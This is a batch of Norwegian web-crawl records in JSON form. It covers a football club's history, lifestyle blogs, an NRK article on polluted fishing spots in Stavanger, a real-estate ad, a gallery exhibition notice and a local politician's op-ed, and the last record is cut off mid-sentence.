1983, b\u00e5de i tillitsverv og som sv\u00e6rt engasjert kjeftesmelle. Men han kan h\u00f8res fortsatt... - F\u00f8rste mannlige kurlending med flagg p\u00e5 brystet var Bj\u00f8rn Arild Levernes da han deltok i juniorlandslagets sommerturnering i Portugal. Han ga to m\u00e5lgivende pasninger da Norge slo Spania Kurland FK var for f\u00f8rste gang representert p\u00e5 et guttekretslag. Fast p\u00e5 \u00e5rets 15-\u00e5rslag var nemlig Tommy \u00c5sberg. P\u00e5 jentesida hadde Kurland allerede gode tradisjoner. Jentekretslaget for 14-\u00e5ringer var forsterket med to tvillinger fra KFK, Cathrin og Nina Helde. Cathrin spiller fortsatt for damelaget til Kurland. Kretslaget for 16-\u00e5ringer hadde halve startrekka fra Kurland: Hege Johansen, Cecilie Leine, Kristine Nilsen, Anne- Bj\u00f8rg Hovdenak og Margit Hesla. Turneringsonkel Olav Eidsheim Tvillingene Helde 1991 I redaksjonen satt: Toril Arntzen Magny Haga Klaus Wike Roar Wike Formann var: Terje Lund Nr Det ble satt ny rekord i antall fer- dighetsmerker, hele 102 merker ble utdelt (30 bl\u00e5, 39 r\u00f8de, 11 bronse, 12 s\u00f8lv og 10 gull\\!). - Et ferdig utkast til Kurland FKs klubbhus l\u00e5 klar dette \u00e5ret. Huset var et dr\u00f8mmeslott, og var ment som et flerbrukshus for barn, ungdom og pensjonister. Dessverre gikk det galt, b\u00e5de \u00f8konomisk og p\u00e5 andre m\u00e5ter, og klubben endte som kjent opp med et hus av helt andre dimensjoner. 18\n\n20 HISTORIE 1993 Midtsommerfest. Nr. 2 9 I redaksjonen: Stig Solem Lene L\u00f8vseth Kjell G. Haga - Et ekstraordin\u00e6rt \u00e5rsm\u00f8te bevilget kroner til utgraving av tomt og r\u00f8rgate klubbhusbygginga skulle endelig komme i gang h\u00f8sten Old Girls kom endelig i gang med treninga p\u00e5 Tiff onsdag 19. august Kurland FK, sammen med Skjetten SK, fikk en stor tillitserkl\u00e6ring via NFF og Akershus Fotballkrets: \u00e5 utvikle talenter for norsk damefotball i de kommende \u00e5ra. Dette reiste debatten om Kurland FKs rolle i framtida breddeklubb, toppklubb eller litt av begge deler? 1993 I redaksjonen satt: Stig Solem Lene L\u00f8vseth Kjell G. Haga Formann var: Terje Lund Nr Medlemskrisa begynte \u00e5 melde seg. Bidrag fra de enkelte lagene til Kur\u00e9ren glimret med sine frav\u00e6r, mange begynte \u00e5 vegre seg mot \u00e5 ta verv i klubben, og p\u00e5 klubbm\u00f8tene var entusiasmen fra 80- \u00e5ra borte. Et eksempel var det ekstraordin\u00e6re \u00e5rsm\u00f8tet 25. mars 1993, der ny handlingsplan skulle vedtas. Foruten styret og HP-gruppa, deltok kun ett (sic\\!) medlem p\u00e5 m\u00f8tet. - Klubbhusprosjektet befant seg nok en gang i en uklar \u00f8konomisk tilstand; en fikk blant annet nok et avslag p\u00e5 s\u00f8knad om tippemidler. Et m\u00f8te mellom KFK og representanter fra kommunen (med ordf\u00f8reren i spissen) resulterte i at kommunen ville satse mer p\u00e5 prosjektet. Kommunen nedsatte ogs\u00e5 en egen komit\u00e9 som skulle utarbeide forslag til \u00f8konomiske l\u00f8sninger. - B\u00e5de mini- og v\u00e5rturneringene m\u00e5tte avlyses dette \u00e5ret p\u00e5 grunn av for lite interesse fra tidligere s\u00e5 faste gjester. - KFK meldte p\u00e5 30 lag til \u00e5rets serie, og var dermed blant kretsens trefire st\u00f8rste fotballklubber. - Frode Ekra Olsen scoret sju m\u00e5l for A-laget i Kurlands kamp mot B\u00f8n, og ble for all framtid hetende sjum\u00e5ls- Olsen. Etter all viraken som fulgte, satte en evig og ekstrem m\u00e5lt\u00f8rke inn\\! 20\n\n### Glede Vi synes det er g\u00f8y \u00e5 l\u00e6re og det er g\u00f8y \u00e5 f\u00e5 til det vi trener p\u00e5\\! Vi skal ha det moro sammen, alle sammen\\!\n\n", "language": "no", "__index_level_0__": "fbb4f0ca-f061-4385-9d9a-f86a442c768a"}
{"url": "http://hvitbalkong.blogspot.com/2013/05/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-24T23:38:50Z", "text": "\n\n## onsdag 29. mai 2013\n\n### l\u00f8rdagens antrekk\n\nMaia med bloggen Fabelaktig la tidligere ut bilde av antrekket sitt som skal brukes p\u00e5 bloggtreffet \"Sommerkos p\u00e5 Haugalandet\" l\u00f8rdag. Hun utfordret med det samme oss andre til \u00e5 ta bilde og blogge v\u00e5rt antrekk.  \nDet er veldig vanskelig \u00e5 skulle velge antrekk til utefest i juni n\u00e5r v\u00e6rmeldingen varsler 12 \u00b0C og fare for regn. Men det jeg har kommet fram til n\u00e5 er vel dette. \u00a0Men kanskje blir det forandringer.  \nEr mest skeptisk p\u00e5 skovalget. Sandaler er kanskje ikke et sjakktrekk, men kanskje kan jeg ta med et par som jeg har til reserve? ;)  \n\n\n\n  \nonsdag, mai 29, 2013    8 kommentarer:        \n\n## tirsdag 28. mai 2013\n\n### sommerdr\u00f8m\n\nNydelig v\u00e6r idag\\! Synd at jeg m\u00e5 sitte inne p\u00e5 jobb... Men det er vel lov \u00e5 dr\u00f8mme seg bort til utekos p\u00e5 terrassen, i det minste... Alltid mye fint fra Bloomingville. Hengestol til \u00e5 sitte og slumre i. En god kopp kaffe fra de fine koppene deres. Lykter.  \nGleder meg til ettermiddagen. Den skal nytes p\u00e5 terrassen\\!  \n  \n  \n\n\n  \n Lagt inn av  Kvit balkong     kl. \n\ntirsdag, mai 28, 2013    4 kommentarer:        \n\n## onsdag 22. mai 2013\n\n### Snart m\u00f8tes vi i Haugesund\\!\n\n  \n\n\n\n  \nN\u00e5 er det bare 10 dager til 50 bloggere skal m\u00f8tes til Sommerkos hos Karianne - MittSitt i hjembyen min Haugesund\\! Det kommer til \u00e5 bli kjempeg\u00f8y\\!  \n  \nOg s\u00e5 mange flotte sponsorer som har kommet med sm\u00e5tt og stort til oss - det er jo bare imponerende\\! Listen er jo blitt kjempelang - og goodiebagen er vel nesten overfylt\\!  \n  \n\n\n\n  \nGleder meg til \u00e5 h\u00f8re p\u00e5 innlegg, treffe mange nye flotte mennesker og forh\u00e5pentligvis f\u00e5 nytt p\u00e5fyll av inspirasjon\\! (Akkurat n\u00e5 f\u00f8ler jeg at tiden suser avg\u00e5rde, og at jeg ikke alltid henger med... Derfor blir det heller ikke s\u00e5 mange innlegg for tida...)  \n  \n\n\n\nMange er i Haugesund for f\u00f8rste gang og har kanskje noen timer til r\u00e5dighet i den fine byen, og da vil jeg gjerne tipse om nettadresser dere kan sjekke ut f\u00f8r dere kommer til denne fine Vestlandsbyen.  \n  \nDet er Europeisk marked i by'n denne helga: http://www.traditionalmarket.co.uk/  \nHer finner du en oversikt over butikker i by'n: http://haugesundsentrum.no/butikker-medlemmer/  \nOg er du turist her kan jo kanskje denne gi deg nyttig informasjon: http://www.visithaugesund.no/  \n  \nN\u00e5 ligger gaven klar og sommerfuglene er p\u00e5 plass i magen\\! Gleder meg\\!\n\nonsdag, mai 22, 2013    6 kommentarer:        \n\n Etiketter: aktiviteter, bloggtreff, sommer \n\n## s\u00f8ndag 12. mai 2013\n\n### Bord, dekk deg\\! Eller; jeg kan godt gj\u00f8re det, jeg\\!\n\nEn fin helg er over. \u00c5rets f\u00f8rste campingtur ligger bak oss. Kjekt \u00e5 komme ut p\u00e5 veien med vogna igjen. Vi var en tur i Kinsarvik hvor vi liker oss godt. Mikkelparken \u00e5pner ikke f\u00f8r neste helg, men det gjorde visst ingenting for guttene. P\u00e5 campingplassen er det hoppepute, og da trenger en ikke s\u00e5 mye mer.\u00a0\n\nIkke n\u00e5r man er 6 \u00e5r.\u00a0\n\n  \n\n\n  \nI dag kom jeg over noen bilder fra et par \u00e5r tilbake. Fra lillebrors d\u00e5p i juni 2011. Og jeg tenkte at det kanskje kunne v\u00e6re til inspirasjon for noen \u00e5 legge ut noen bilder fra borddekkingen. Det gikk i hvitt og lysegr\u00f8nt, med hvite peoner og roser, hvite og gr\u00f8nne kubbelys og hvite og gr\u00f8nne servietter. Med s\u00f8lv innimellom (bestikk, lysfat, pynt p\u00e5 lysfat og bordet).\u00a0\n\n  \n\n\n  \n\nBordkortene laget jeg selv ved \u00e5 kj\u00f8pe ark med m\u00f8nster p\u00e5 to sider p\u00e5 Panduro, laget en sirkel p\u00e5 dobbelt papir (kun toppen holdt kortet sammen), og knyttet silkeb\u00e5nd i hvit og lysegr\u00f8nt p\u00e5 toppen. S\u00e5 limte jeg p\u00e5 et bilde av alle gjestene med navnet skrevet p\u00e5 og inni stod lillebrors bilde og vitale m\u00e5l og datoer for f\u00f8dsel og d\u00e5p. Jeg ble ganske forn\u00f8yd om jeg skal si det selv\\!\n\n  \n\n\n  \n\n\n  \nDen f\u00f8rste d\u00e5pen vi hadde var veldig lysebl\u00e5, og jeg \u00f8nsket en annen farge denne gangen. Jeg var veldig forn\u00f8yd med hvitt og gr\u00f8nt. Rolige farger som passet godt til \u00e5rstiden.\n\n  \n\n Lagt inn av  Kvit balkong     kl. \ns\u00f8ndag, mai 12, 2013    5 kommentarer:        \n\n## tirsdag 7. mai 2013\n\n### Dr\u00f8mmen om Provence\n\n\n\n  \nNylig var jeg innom Ikea, og der kom jeg over et godt tilbud p\u00e5 Lavendel. Jeg m\u00e5tte kj\u00f8pe med meg 3 stk. Lukter jo s\u00e5 godt\\! Jeg har planer om \u00e5 plante de ut i noen krukker p\u00e5 terrassen, men enn s\u00e5 lenge f\u00e5r de st\u00e5 her inne i stua. Sammen med ei ny lyslykt og matchende brikke med stjerner p\u00e5, pyntet det fint opp i stua.  \n  \n\n\n\nDet kommer lite fra denne kanten n\u00e5, visst. Travle tider p\u00e5 jobb, og mer tid som blir brukt ute er grunnen.  \nOg s\u00e5 er det stadig litt planlegging av ferien, og jeg dr\u00f8mmer om Provence\\! Der har jeg aldri v\u00e6rt f\u00f8r, og det hadde v\u00e6rt spennende \u00e5 f\u00e5 oppleve den delen av Frankrike.  \n  \n\n\n\n  \nSer forresten at jeg har passert 10.000 visninger her\\! S\u00e5 stort\\! Hadde ikke trodd det da jeg startet med blogging i oktober\\! :) Tusen takk til alle som er innom og kikker, og en ekstra stor takk til de som legger igjen kommentar\\! Det setter jeg stor pris p\u00e5, og jeg pr\u00f8ver \u00e5 f\u00e5 anledning \u00e5 titte innom bloggene deres n\u00e5r jeg f\u00e5r tid til en bloggrunde\\!  \n  \n\n\n\n  \nFin tirsdag til dere\\! Snart venter Grey's p\u00e5 TV2\\! :)  \n  \n\n\n\n  \ntirsdag, mai 07, 2013    4 kommentarer:        \n\n", "language": "no", "__index_level_0__": "4fb6d368-c3bf-4822-a617-34a864e76c8e"}
{"url": "http://nrksuper.no/super/blog/fred-levis-idrett-er-tae-kwondo/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:36:20Z", "text": "      - \n        ##### Alle kvisser\n\n\n\n# Fred-Levis idrett er tae-kwondo\n\nFred-Levi Andersen er 14 \u00e5r og kommer fra Svolv\u00e6r i Lofoten. Siden han var syv \u00e5r gammel har Fred-Levi drevet med kampsporten taekwondo, og han har n\u00e5 blitt s\u00e5 god at han har vunnet bronse i norgescup.\n\n**Nett-TV: Se Best i mest, program 2**\n\nI det andre programmet av Best i mest er det Fred-Levi som skal vise fram idretten og trene de andre til \u00e5 bli best mulig p\u00e5 to dager.\n\n**Bli bedre kjent med Fred-Levi her:**\n\nAv {{ data.author.name }}\n\n{{ data.date | shortRelativeTime }}\n\nVi fant dessverre ingen artikler, kanskje du finner noe du liker p\u00e5 forsiden?\n\n", "language": "no", "__index_level_0__": "500736bb-f527-447f-8449-ac68bfbc27f0"}
{"url": "https://realestateagentspain.com/nb/selge/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00596.warc.gz", "warc_date": "2018-03-24T23:27:09Z", "text": "\n\u00c5 selge en bolig\u2026.er \u00e5 informere alle\\! Det er ikke bare v\u00e5r erfaring p\u00e5 eiendomsmarkedet som har betydning for \u00e5 selge en bolig, v\u00e5rt omfattende netteverk av potensielle kj\u00f8pere hjelper oss til \u00e5 selge boligen hurtigere. Daglig blir v\u00e5re aktuelle kj\u00f8pere i v\u00e5r database holdt orientert om boliger og priser. For tiden har vi allerede over 10.000 aktuelle kj\u00f8pere i v\u00e5r database som vi regelmessig holder oppdatert om boliger som matcher deres behov.\n\n### Bruk av salgskilt\n\nHvis du ikke \u00f8nsker et \"stille\" salg, vil vi plassere et salgskilt eller en plakat i din hage eller p\u00e5 husveggen. Alle vil da se at boligen din er for salg og de f\u00e5r \u00f8yeblikkelig informasjon om hvor de kan henvende seg. Mange informerer ogs\u00e5 sine venner og familie om ledig bolig i eget n\u00e6romr\u00e5de.\n\n### Vi tar profesjonelle bilder\n\nDet f\u00f8rste inntrykk en potensiell kj\u00f8per f\u00e5r av eiendommen er avgj\u00f8rende. Derfor vil vi kun publisere bilder av god kvalitet. V\u00e5re ansatte er erfarne boligfotografer og kan teknikker som forbedrer resultatet.\n\n### N\u00e5 mange hundre tusen boligs\u00f8kere\n\n\u00c5 la folk vite at din eiendom er til salgs annonserer vi omfattende og utbredt. Din bolig vil ha en plass i v\u00e5re vinduer, bli annonsert p\u00e5 v\u00e5r hjemmeside www.z-yachting.com med mer en 10.000 bes\u00f8kende pr. m\u00e5ned. I tillegg legger vi ut reklame p\u00e5 mange store nettsteder for eiendommer over hele Europa. Disse nettstedene garanterer et par hundre tusen bes\u00f8kende pr. m\u00e5ned. Til slutt vises din eiendom ogs\u00e5 ofte i den locale pressen og eiendomsmegler magasiner.\n\nbuilding-2\n\n### 3 omr\u00e5der\n\nVi arbeider ut fra 3 kontorer, noe som vil v\u00e6re en fordel for deg som klient. V\u00e5re kontorer er oppdatert og har en f\u00f8rsteklasses kommersiell beliggenhet hvor vinduene blir sett av mange personer.\n\n", "language": "no", "__index_level_0__": "dd69652e-9fa5-41f8-b9bd-a0b0636a7d9e"}
{"url": "https://www.nrk.no/rogaland/her-bor-du-la-vaere-a-fiske-1.13103597", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:56:05Z", "text": "# Her b\u00f8r du la v\u00e6re \u00e5 fiske\n\nSj\u00f8bunnen i V\u00e5gen, og i andre omr\u00e5der i Stavanger, er s\u00e5 forurenset at folk ikke b\u00f8r spise fisk som er fanget her.\n\n\n\n\n\n  Publisert  24.08.2016, kl. 09.23 \n**\u2013 Unders\u00f8kelser kommunen har gjort de siste \u00e5rene har vist at sj\u00f8bunnen er forurenset i V\u00e5gen, i omr\u00e5dene \u00f8stover mot Lervig, i Hillev\u00e5gsvatnet og noen steder ved de sentrumsn\u00e6re by\u00f8yene.**\n\nDet skriver  Stavanger kommune  p\u00e5 nettsidene sine.\n\nI fjor sommer satte Stavanger kommune opp skilt p\u00e5 en del steder der sj\u00f8bunnen er s\u00e5 forurenset at man ikke b\u00f8r spise fisk derfra. N\u00e5 blir flere nye steder skiltet.\n\n\n\nFunn fra Bangarv\u00e5gen, Galeiv\u00e5gen og rundt Jadarholm viser at ogs\u00e5 selve fisken og annen sj\u00f8mat inneholder milj\u00f8gifter.\n\n## Unng\u00e5 \u00e5 fiske her:\n\nSkiltene er tekstet p\u00e5 norsk, engelsk, tysk og polsk, og blir satt opp p\u00e5 disse stedene:\n\n  - *Kjerringholmen ved Geoparken*\n  - *Str\u00f8mvig ved naustet til Godalen videreg\u00e5ende skole*\n  - *Ramsvig p\u00e5 \u00f8stsiden av b\u00e5thavnen og ved inngang til friomr\u00e5de bak omsorgsboligene*\n  - *Breivik b\u00e5thavn, ved inngangene i nordvest og s\u00f8r\u00f8st*\n  - *Lervig brygge, p\u00e5 vestsiden ved sm\u00e5b\u00e5thavnen*\n  - *Bu\u00f8y kai*\n\nTidligere er det ogs\u00e5 satt opp skilt p\u00e5 disse stedene:\n\n  - *Bjergsted, ved Veritas og Sandvig\u00e5*\n  - *Skansekaien ved Hall Toll*\n  - *Lervig brygge p\u00e5 \u00f8stsiden*\n  - *S\u00f8lyst ved friomr\u00e5det p\u00e5 \u00f8stsiden*\n  - *Eng\u00f8y ved stranden p\u00e5 \u00f8stsiden*\n  - *Bu\u00f8y ved sm\u00e5b\u00e5thavnen og friomr\u00e5det i Gr\u00f8nvika*\n  - *Jadarholm, i friomr\u00e5det. (Midlertidig fjernet p\u00e5 grunn av byggearbeid).*\n\nSkiltene settes opp i samr\u00e5d med Mattilsynet, som ogs\u00e5 advarer mot \u00e5 spise visse typer sj\u00f8mat fanget p\u00e5 spesifikke steder i Stavangers havneomr\u00e5der.\n\nStavanger kommune understreker at advarselen mot \u00e5 spise sj\u00f8mat ikke gjelder det folk kj\u00f8per fra selgere og i fiskeutsalg langs kaien, bare det de fisker selv fra de stedene som er nevn i listen.\n\n  Publisert  24.08.2016, kl. 09.23 \n\n### Stavanger kommune\n\n", "language": "no", "__index_level_0__": "935399b6-a6b3-482c-8c4e-4673e06e801c"}
{"url": "http://www.kunsthall.no/?AID=2677&ID=31&K=35&AAR=2017&MND=10&index=5", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:49:43Z", "text": "\n\nS\u00f8ndagsomvisning 8.\u00a0oktober\u00a02017\u00a0Kl.:\u00a014:00\u00a0  Kunsthallen\u00a0\u00a0Omvisning  \n  \nDet blir omvisning i utstillingen \"O Superman to Girls, Tricky\" s\u00f8ndag 1. oktober kl 14:00\\!  \n  \n Med: Laurie Anderson, Black Quantum Futurism, Lizzi Bougatsos, Nicholas Bullen, Jem Cohen, Attila Csihar, Ian MacKaye, Steve McQueen & Tricky, Moor Mother, Stephen O\u00b4Malley, Tony Oursler, The Poetics (Mike Kelley & Tony Oursler).  \n  \nO Superman\u2026 presenterer en serie med sentrale vokalperformancer, kunstnere og audio-visuelle kunstverk. Utstillingen vises og fremf\u00f8res i alle Kunsthallens saler, i tillegg til et live-program p\u00e5 Landmark.  \n  \nMed Laurie Andersons innflytelsesrike, vocoder-baserte popvideo/performance O Superman (1981) som utgangspunkt g\u00e5r utstillingen videre til \u00e5 presentere et omfattende arkiv over Birmingham-bandet Napalm Deaths tidlige eksperimenter med \u00abgrindcore\u00bb og \u00abdeath growl\u00bb \u2013 sammen med nye musikalske og filmatiske arbeider av bandets grunnlegger og vokalist Nicholas Bullen. Utstillingen presenterer ogs\u00e5 Lizzi Bougatsos' (Gang Gang Dance, Angel Blood) meditative og rituelle bruk av stemmen i sine performancer og installasjoner; Trickys ekstatiske hip hop-vokal, som er ud\u00f8deliggjort i Steve McQueens video Girls, Tricky (2001); Philadelphia-baserte Moor Mothers afrofuturistiske musikk og poesi og samarbeidsprosjektet Black Quantum Futurism. Jem Cohen og Ian MacKaye (Fugazi, Minor Threat) dokumenterer begynnelsen av hardcore-scenen i Washington, D.C. og Minor Threats kompromissl\u00f8se og direkte tiln\u00e6rming til sangtekster og vokal; den avant-eksperimentelle musikken til The Poetics (Tony Oursler og Mike Kelley) er ogs\u00e5 inkludert, sammen med Ourslers eget prosjekt \u00abSynesthesia\u00bb, en intervjuserie med n\u00f8kkelskikkelser innen kunst og musikk, blant andre Alan Vega, Genesis P. Orridge, Arto Lindsay og Laurie Anderson.  \n  \nAlle disse kunstnerne har bidratt til en radikal omformulering av hva en vokalperformance er. De gj\u00f8r det kjente fremmed p\u00e5 produktivt vis, b\u00e5de gjennom ny teknologi og historiske former som trekker veksler p\u00e5 b\u00e5de den klassiske avantgarden og popul\u00e6rmusikk. Arbeidene deres taler direkte til samtiden og det r\u00e5dende sosiale og politiske klimaet, ikke gjennom stemmens evne til \u00e5 lindre, men snarere ved en direkte, inntrengende henvendelse.  \n  \nTil sammen skaper dette materialet et utsnitt av den radikale og politisk orienterte, avantgardistiske pre- og post-punk-vokalens historie fra 1980-tallet frem til i dag.  \n\n", "language": "no", "__index_level_0__": "170e2ac5-85b1-4dc3-9e1f-dcbc542c2024"}
{"url": "https://www.nettavisen.no/dittoslo/sv-hilde---na-ma-vi-slutte-a-krangle/3422865848.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00301.warc.gz", "warc_date": "2018-03-24T23:40:12Z", "text": "\n\nN\u00e5 \u00f8nsker BU-leder p\u00e5 L\u00f8kka, Hile Larsen (SV), at man skal slutte \u00e5 krangle.\n\n# SV-Hilde: - N\u00e5 m\u00e5 vi slutte \u00e5 krangle\\!\n\n# Topp 10 jakker til herre\n\nMen hun har forst\u00e5else for at noen blir forbanna. Les BU-leder p\u00e5 L\u00f8kka, Hilde Larsens (SV) ferske innlegg p\u00e5 Ostkantavisa.no.\n\nHilde Larsen skriver f\u00f8lgende etter uker med dramatikk i L\u00f8kka-politikken:  \n  \n\"Det har v\u00e6rt skrevet side opp og side ned i \u00d8stakantavisa om det valgtekniske samarbeidet mellom SV , H\u00f8yre og Venstre. Og skjellsordene har haglet: SV sviker velgerne, - Maktk\u00e5te politikere, - AP gikk bak v\u00e5r rygg, - Per du lyver osv. osv. N\u00e5 er det vel en del av dette som ogs\u00e5 skyldes at desken p\u00e5 \u00d8stkantavisa \u00f8nsker \u00e5 spisse sakene som det heter i journalistenens verden.  \n  \nJeg tror imidlertid det er lite fruktbart \u00e5 f\u00f8re debatten om hva som faktisk skjedde i forhandlingene mellom partiene, og hvem som har sagt hva, i \u00d8stkantavisa eller andre aviser.  \n  \nDet som har skjedd i Gr\u00fcnerl\u00f8kka bydel i forbindelse med konstitueringen er allikevel ikke unikt. Det har skjedd i de aller fleste bydeler, at det har oppst\u00e5tt odde konstellasjoner fordi man ikke har klart \u00e5 bli enige.  \n  \nDette har bl.a. sammenheng med partikultur og personkjemi. N\u00e5r 15 mennesker fra forskjellige partier skal bli enige s\u00e5 handler det om kompromisser, og om \u00e5 gi og ta. Og det handler om uenigheter.  \n  \nJeg har stor forst\u00e5else for den politikerforakten som oppst\u00e5r n\u00e5r partiene krangler seg i mellom s\u00e5 busta fyker. Og de aller fleste skj\u00f8nner lite av hvorfor vi krangler. Jeg har ogs\u00e5 forst\u00e5else for at noen blir forbanna n\u00e5r ting ikke g\u00e5r som en har regna med. Men s\u00e5nn er det n\u00e5 en gang i politikken. Det handler hele tida om kompromisser. Sleivete sagt s\u00e5 kan en si at det er en l\u00f8sning som ingen er forn\u00f8yde med.  \n  \nFor at vi skal ha noen som helst troverdighet overfor v\u00e5re velgere de neste 4 \u00e5ra, m\u00e5 vi slutte \u00e5 krangle og begynne \u00e5 snakke politikk. SV gjentar det vi har sagt flere ganger, vi h\u00e5per at AP, R\u00f8dt og SV n\u00e5 kan sette seg sammen og diskutere en politisk plattform. Det arbeidet begynte vi s\u00e5 vidt p\u00e5, og jeg tror fortsatt at vi har et godt grunnlag for \u00e5 fortsette med det.  \n  \nS\u00e5 f\u00e5r vi vise velgerne v\u00e5re at vi er voksne mennesker som skal gj\u00f8re det vi er valgt til \u00e5 gj\u00f8re; v\u00e6re konstruktive politikere og ikke en gjeng med kranglefanter\\!  \n  \nHilde Larsen (SV)  \nLeder av Gr\u00fcnerl\u00f8kka Bydelsutvalg\"\n\n## Sint? Provosert? Glad?\n\n## \\- Jeg var h\u00f8yt utdannet, men i deres \u00f8yne var jeg kun egnet til \u00e9n ting\n\n## Hver kveld da hun var ferdig p\u00e5 trening, ventet den eldre mannen utenfor garderoben\n\n", "language": "no", "__index_level_0__": "b9c6396b-ce8e-439b-8b0c-820e31e97d31"}
{"url": "http://blogg.tinekatrine.com/2016/03/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:42:22Z", "text": "# M\u00e5ned: mars 2016\n\n## Lisa og Tine spiser ting \u2013 P\u00e5ske edition\n\nmars 28, 2016\n\nby tine katrine\n\ncomments 9\n\nVi fikk lyst til \u00e5 lage en p\u00e5skevideo, siden det er\u2026 p\u00e5ske. Ja. Den ble ganske fjasete og ikke lik den forrige i det hele tatt, men\u00a0tenker det er veldig fint \u00e5 bruke ti minutter p\u00e5 denne. F\u00e5 en pause fra s\u00f8sknene som krangler om hvem som har st\u00f8rst p\u00e5skeegg, eller bruk den som en god unnskyldning til \u00e5 ikke bli med p\u00e5 enda en skitur, eller tr\u00f8st deg med denne n\u00e5 som alt godteriet sikkert er spist opp.\n\nNeste gang blir det video hvor vi pr\u00f8vesmaker ting igjen alts\u00e5\\! Fortell forresten gjerne hvordan lyden er denne gangen. Beklager for at vi br\u00e5ker s\u00e5nn med posene.\n\n## Vlog: En rar introduksjonsvideo\n\nmars 26, 2016\n\nby tine katrine\n\ncomments 18\n\nEndelig\\! Denne videon har tatt s\u00e5 mange timer \u00e5 lage. Ikke bare m\u00e5tte jeg filme hovedopptaket tre ganger f\u00f8r det endelig\u00a0ble bra, men det var en haug andre klipp som m\u00e5tte ordnes og jeg m\u00e5tte grave gjennom harddisken min etter nedst\u00f8vede ferieklipp. S\u00e5 denne videoen har alt, alts\u00e5. Drama, innlevelse, kostymeskift, spenning. Et sted er jeg nesten naken, et annet er jeg en panda. Og ikke minst: BEDRE LYD\\! Iallfall litt\u2026 Driver fortsatt \u00e5 finner ut av alt det tekniske. \u00d8retelefoner er din venn.\n\nN\u00e5 har dere kjempelyst til \u00e5 se, sant? Bra\\! Det tar helt av etter et par minutter, lover.\n\nS\u00e5 langt liker jeg dette lille prosjektet. Det er krevende, men s\u00e5 f\u00e5r man se litt forbedring hver gang, og da blir det verdt det. Gleder meg til \u00e5 se utviklingen fremover. Kanskje jeg til og med klarer \u00e5 virke litt mer engasjert i neste video.\n\n## God p\u00e5ske\\!\n\nmars 24, 2016\n\nby tine katrine\n\n\u00a0 \u00a0 \u00a0 \u00a0\u00a0\n\nGod p\u00e5ske alle sammen\\! Jeg ferier egentlig ikke p\u00e5ske noe s\u00e6rlig, men det f\u00e5r s\u00e5 v\u00e6re. Alltid greit med en unnskyldning til \u00e5 spise godteri, kj\u00f8pe dyre blomster og spise fet mat. Det er de planene jeg har for p\u00e5skehelga iallfall. Sola skinner, avocadoplantene mine gror, og mummi ser ganske forn\u00f8yd ut. Dette blir bra\\!\n\n   \n\n## Bedre dager i vente?\n\nmars 15, 2016\n\nby tine katrine\n\n\u00a0 \u00a0 \u00a0 \u00a0\n\nDet ble ganske stille her inne i det siste, igjen, ganske enkelt fordi jeg er sengeliggende. Formen blir aldri bedre,\u00a0men jeg h\u00e5per at v\u00e5ren gj\u00f8r trikset sitt som vanlig. Er iallfall veldig koselig \u00e5 h\u00f8re p\u00e5 fuglene kvitre utenfor vinduet. Men, jeg savner \u00e5 kunne gj\u00f8re helt enkel ting som \u00e5 redigere bilder og blogge og alt s\u00e5nt. Det er bare ikke s\u00e5 lett n\u00e5r man er konstant kvalm og utslitt.\n\n \n\nI g\u00e5r kom jeg meg endelig ut en tur, etter \u00e5 ha sittet inne i en uke. Sol var det ogs\u00e5\\! Vi satt p\u00e5 bakeriet og skrev noen undre ord (en annen ting jeg ikke hadde f\u00e5tt gjort p\u00e5 en uke), og s\u00e5 har jeg endelig f\u00e5tt klippet og farget h\u00e5ret igjen. Tilbake til blond, bortsett fra noen gr\u00f8nne flekker som ikke ville slippe taket. Gj\u00f8r ikke meg noe\\!\n\n\n\nVerdens st\u00f8rste sn\u00f8haug utenfor blokka n\u00e5. Kommer ikke s\u00e5 bra frem p\u00e5 bildet, men er sikkert tre meter h\u00f8y.\n\n\u2013\n\n*Pst\\! Hvis du s\u00e5 den siste videoen jeg la ut og likte den, s\u00e5 hadde jeg blitt veeeeeeldig glad for en liten kommentar. Hvis du hatet den, s\u00e5 skal du f\u00e5 slippe.\u00a0*\n\n## En ny vlogg-serie // Lisa og Tine spiser ting\n\nmars 12, 2016\n\nby tine katrine\n\n*Jeg hadde egentlig tenkt \u00e5 poste en annen videoblogg f\u00f8rst, men den er ikke helt ferdig enda, s\u00e5 da f\u00e5r det bare vente.*\n\nSom jeg s\u00e5 vidt nevnte, s\u00e5 har\u00a0jeg lyst til \u00e5 snakke om og vise litt veganmat i videobloggene mine. En ting jeg tenkte kunne v\u00e6re g\u00f8y er \u00e5 pr\u00f8vesmake diverse saker, for det syns jeg alltid er g\u00f8y \u00e5 se p\u00e5 n\u00e5r andre gj\u00f8r det \u2013 spesielt n\u00e5r folk pr\u00f8ver norsk godteri for f\u00f8rste gang.\n\nFor \u00e5 gj\u00f8re det hele enda bedre, s\u00e5 ville Lisa v\u00e6re med. Yey\\! Det gj\u00f8r det forh\u00e5pentligvis litt g\u00f8yere \u00e5 se p\u00e5. Dette er\u00a0v\u00e5r f\u00f8rste video, s\u00e5 vi er seff litt kleine, og i tillegg er lyden ikke helt bra denne gangen heller. HODETELEFONER\\!\u00a0Det skal fikses snart, lover\\! Ellers er vi helt fantastiske,\u00a0true story.\n\nS\u00e5, i v\u00e5r f\u00f8rste episode, pr\u00f8vesmaker vi vegansk jerky. H\u00e5per dere liker den\\! Hvis noen blir litt skremt av lengden p\u00e5 videoen, s\u00e5 vil jeg anbefale \u00e5 i det minste se introen. Jeg er ganske forn\u00f8yd med den.\n\nDe som vil ha en like fantastisk opplevelse kan bestille Louisville Vegan Jerky p\u00e5 www.iherb.com, og hvis man bruker koden ZEM324 f\u00e5r man 10% rabatt p\u00e5 den f\u00f8rste bestillingen. Neida, 